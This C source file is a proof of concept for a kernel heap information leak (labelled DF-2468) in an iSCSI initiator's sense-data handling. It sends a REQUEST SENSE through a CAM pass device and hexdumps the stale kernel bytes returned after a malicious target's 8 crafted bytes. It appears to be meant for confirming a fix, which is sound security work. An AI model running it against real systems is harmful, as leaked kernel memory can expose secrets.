/*
 * sense2468.c - Raw SCSI sense dumper for DF-2468 (userspace proof of the leak).
 *
 * Opens the CAM pass device for the iSCSI LUN, issues a REQUEST SENSE (or any
 * CHECK-CONDITION-triggering CDB) via CAMIOCOMMAND (XPT_SCSI_IO), and hexdumps
 * the RAW sense buffer returned in csio.sense_data.  The malicious target
 * replies CHECK CONDITION with sense_len=252 but only 8 real bytes; the
 * initiator's getSenseData() kmalloc(252) [uninit], copies the 8 bytes, and
 * bcopy()s the rest (stale kernel heap) into the CCB sense buffer, which this
 * program reads back.  Run 3x: the leaked bytes (after the 8 crafted ones)
 * vary across runs on the unpatched module and are zero on the fixed module.
 *
 * Build: cc -o sense2468 sense2468.c
 * Run:   ./sense2468 /dev/passN
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_all.h>
#include <bus/cam/scsi/scsi_pass.h>   /* CAMIOCOMMAND */

#define SENSEBUF 252

int main(int argc, char **argv) {
    const char *dev = argc > 1 ? argv[1] : "/dev/pass1";
    int fd = open(dev, O_RDWR);
    if (fd < 0) { perror("open pass"); return 1; }

    union ccb ccb;
    memset(&ccb, 0, sizeof ccb);
    ccb.ccb_h.path_id = CAM_XPT_PATH_ID;
    ccb.ccb_h.target_id = CAM_TARGET_WILDCARD;
    ccb.ccb_h.target_lun = CAM_LUN_WILDCARD;

    /* REQUEST SENSE CDB: 03 00 00 00 fc 00 (alloc len 252) */
    ccb.csio.cdb_io.cdb_bytes[0] = 0x03;
    ccb.csio.cdb_io.cdb_bytes[4] = SENSEBUF;  /* allocation length */
    ccb.csio.cdb_len = 6;
    ccb.csio.tag_action = CAM_TAG_ACTION_NONE;

    ccb.ccb_h.func_code = XPT_SCSI_IO;
    ccb.ccb_h.flags = CAM_DIR_NONE | CAM_DEV_QFRZDIS | CAM_PASS_ERR_RECOVER;
    ccb.csio.data_ptr = NULL;
    ccb.csio.dxfer_len = 0;
    ccb.csio.sense_len = SENSEBUF;          /* ask for full sense buffer */
    ccb.csio.sense_resid = 0;
    ccb.ccb_h.timeout = 20000;

    if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0) { perror("CAMIOCOMMAND"); close(fd); return 2; }

    unsigned char *s = (unsigned char *)&ccb.csio.sense_data;
    int sense_len = SENSEBUF - ccb.csio.sense_resid;
    printf("status=0x%x sense_resid=%d raw_sense_len=%d\n",
           ccb.ccb_h.status, ccb.csio.sense_resid, sense_len);
    for (int i = 0; i < sense_len; i++) {
        printf("%02x", s[i]);
        if ((i & 31) == 31) printf("\n"); else if ((i & 7) == 7) printf(" ");
    }
    printf("\n");
    /* count non-zero bytes after offset 8 (the 8 crafted bytes) -- the leaked region */
    int leaked = 0;
    for (int i = 8; i < sense_len; i++) if (s[i]) leaked++;
    printf("non-zero bytes after crafted[0..7]: %d (leak signature)\n", leaked);
    close(fd);
    return 0;
}
